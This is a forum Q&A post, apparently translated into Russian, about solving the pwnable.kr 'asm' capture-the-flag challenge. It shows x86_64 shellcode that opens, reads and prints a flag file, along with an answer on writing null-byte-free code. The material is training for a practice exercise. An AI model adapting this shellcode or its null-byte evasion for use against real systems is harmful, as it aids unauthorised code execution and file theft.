2016-12-17 11 views
-1

Я пытаюсь решить задачу CTF из pwnable.kr (toddlers bottle, asm), в которой я должен написать «shellcode», который откроет, прочитает и напишет содержимое файла (содержащего флаг).Обработка строк в shellcode

Мой код выглядит следующим образом:

global _start 

section .text 

_start: 
    jmp mesg 
    shellcode: 
    ; open 
    pop rdi ; rdi points to file_name and trash 
    xor rsi, rsi 
    mov al, 2 ; sys_open 
    syscall 

    ; read 
    mov rdi, rax 
    xor rax, rax ; sys_read 
    lea rsi, [rsp] 
    mov dl, 0x20 
    syscall 

    ; write 
    mov dl, al ; bytes read 
    xor rax, rax 
    mov al, 1 ; sys_write 
    mov dil, 1 ; stdout 
    lea rsi, [rsp] 
    syscall 

    ; crash 
    xor ebx, ebx 
    xor eax, eax 
    div ebx 

mesg: 
    call shellcode 
    db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00 
section .data 

Деление на 0 есть, чтобы остановить выполнение и избежать зацикливания с call shellcode

Длинная строка является именем файла, содержащего флаг.

Я нашел трюк с внезапным адресом строки в регистр здесь: Linux Shellcode "Hello, World!"

Моей проблема заключается в следующем: имя файла не завершается нуль. Поэтому, когда sys_open называется, имя файла содержит мусор после фактической строки.

Я пытался делать коснуться как:

xor al, al 
mov byte [rdi + 464], al 

после того, как появляются в RDI вручную вставить NULL, но я не могу избавиться от NULL из байткод (шеллкод будет читаться из стандартного ввода, так что проблема).

Каков наилучший способ справиться с этим?

Архитектура: x86_64

ответ

1

Много способов записи 0 байт свободного кода. Один пример:

xor eax, eax 
mov al, 116 
mov byte [rdi+rax*4],ah 

 Смежные вопросы

  • Нет связанных вопросов^_^